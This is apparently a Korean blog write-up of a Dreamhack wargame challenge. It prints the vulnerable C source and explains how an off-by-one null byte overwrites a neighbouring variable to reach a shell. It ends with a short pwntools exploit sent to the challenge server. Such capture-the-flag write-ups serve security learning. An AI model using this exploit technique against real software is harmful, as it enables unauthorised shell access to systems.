728x90

보호기법 확인

문제코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
코드내에 get_shell이 존재하고 변수 age의 값이 0일때 flag를 얻을 수 있다
그렇다면 read_str함수와 name 변수를 활용해 age에 값을 0으로 변조해야 할 것 같다
read_str 함수를 보면 변수를 20만큼 입력을 받고 마지막에 널문자가 있는 것을 알 수 있다
디버깅

main stack frame

name 변수를 보면 read_str함수에서 20만큼의 값을 받아
마지막에 \0을 추가하는데 name변수에 값을 20만큼 채우면 age값을 침범해
age에 \0값이 덮어 씌워져 서 get_shell을 실행시킬 수 있다
payload
from pwn import *
p = remote('host3.dreamhack.games', 17221)
p.sendafter(b': ', b'a'*20)
p.interactive()
결과

'시스템해킹' 카테고리의 다른 글
| [드림핵] basic_heap_overflow 풀이 (0) | 2024.09.07 |
|---|---|
| [드림핵] memory_leakage 풀이 (0) | 2024.09.06 |
| [드림핵] ssp_000 풀이 (0) | 2024.09.06 |
| [드림핵] validator 풀이 (0) | 2024.07.21 |
| [드림핵] cmd_center 풀이 (0) | 2024.07.21 |